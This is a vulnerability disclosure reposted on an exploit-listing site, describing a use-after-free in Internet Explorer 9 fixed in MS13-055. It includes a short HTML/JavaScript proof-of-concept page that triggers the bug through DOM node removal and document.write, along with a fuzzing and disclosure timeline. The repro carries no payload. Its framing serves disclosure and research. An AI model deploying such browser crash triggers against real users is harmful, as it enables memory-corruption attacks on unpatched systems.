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Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055) Exploi

Author

SkyLined

Risk

[

Security Risk Medium

]

0day-ID

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CVE

Platform

<!--
 
Source: http://blog.skylined.nl/20161214001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
 
Known affected software and attack vectors
 
Microsoft Internet Explorer 9
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of BugId below.
 
Repro.html:
-->
 
<!DOCTYPE html>
<html>
  <script>
    document.addEventListener("load", function (){
      document.documentElement.removeNode(true);
    }, true);
    document.addEventListener("DOMNodeRemoved", function (){
      document.write("");
    }, true);
  </script>
  <style>
  </style>
  <span dir="rtl">
    <ruby dir="ltr">
      <br/>
    </ruby>
  </span>
</html>
 
<!--
Time-line
 
Sometime in November 2012: This vulnerability was found through fuzzing.
11 November 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
26 July 2013: This vulnerability was address by Microsoft in MS13-055.
14 December 2016: Details of this vulnerability are released.
-->

#  0day.today [2024-06-03]  #

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Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055) Exploi

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We DO NOT use Telegram or any messengers / social networks!

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Microsoft Internet Explorer 9 IEFRAME - CMarkup::Remove­Pointer­Pos Use-After-Free (MS13-055) Exploi

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Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055) Exploi